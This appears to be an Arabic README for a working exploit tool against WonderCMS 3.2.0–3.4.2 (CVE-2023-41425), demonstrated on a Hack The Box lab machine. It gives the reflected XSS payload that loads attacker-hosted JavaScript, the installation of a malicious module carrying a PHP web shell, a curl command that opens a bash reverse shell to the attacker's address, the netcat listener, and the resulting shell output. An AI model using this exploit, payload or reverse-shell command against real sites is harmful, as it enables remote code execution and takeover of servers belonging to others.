
WonderCMS الإصدار 3.2.0 - 3.4.2 استغلال XSS إلى RCE
ثغرة XSS منعكسة في Wonder CMS تسمح بتنفيذ تعليمات برمجية عشوائية من خلال نص ضار عبر مكون installModule.
تشغيل الأداة ضد loginURL الهدف، مع تحديد عنوان IP والمنفذ لخادم الويب الذي يستضيف ملف .js الضار:
$ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888
[+] Creating PHP Web Shell
[+] Writing malicious.js
[+] XSS Payload:
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8888/malicious.js"></script><form+action="
[+] Web Shell can be accessed once .zip file has been requested:
http://sea.htb/themes/malicious/malicious.php?cmd=<COMMAND>
[+] To get a reverse shell connection run the following:
[+] curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"
[+] Starting HTTP server
Serving HTTP on 10.10.16.25 port 8888 (http://10.10.16.25:8888/) ...
<--REDACTED--> "GET /malicious.js HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
أرسل حمولة XSS إلى الضحية. بمجرد أن يفتح الضحية الرابط، سيتم طلب ملف .js من خادم الويب الذي بدأ أعلاه. سيقوم ملف .js بعد ذلك بتنزيل وحدة .zip الضارة التي تحتوي على شيل ويب PHP بسيط.
بمجرد طلب ملف .zip، يجب أن يكون قد تم تثبيته عبر installModule ويمكن الوصول إليه عبر الرابط الذي يوفره السكريبت.
$ curl -s 'http://sea.htb/themes/malicious/malicious.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
قم بإعداد المستمع أولاً، ثم قم بتشغيل أي أمر لإنشاء اتصال شل عكسي. يوفر السكريبت مثالًا واحدًا للقيام بذلك (لينكس).
$ curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
واحصل على الاتصال على المستمع:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.194.205] 54398
bash: cannot set terminal process group (1135): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sea:/var/www/sea/themes/malicious$
قم بتثبيت المتطلبات:
pip install -r requirements.txt
المساعدة:
$ python3 exploit.py --help
usage: exploit.py [-h] --url URL --xip XIP --xport XPORT
Exploit Wonder CMS v3.2.0 - v3.4.2 XSS to RCE (CVE-2023-41425)
Initial CVE and proof-of-concept by prodigiousMind
Rewritten by xpltive
options:
-h, --help show this help message and exit
--url URL Target URL of loginURL (Example: http://sea.htb/loginURL)
--xip XIP IP for HTTP web server that hosts the malicious .js file
--xport XPORT Port for HTTP web server that hosts the malicious .js file
يُنسب الفضل إلى prodigiousMind لاكتشاف الثغرة والإبلاغ عنها (الرابط).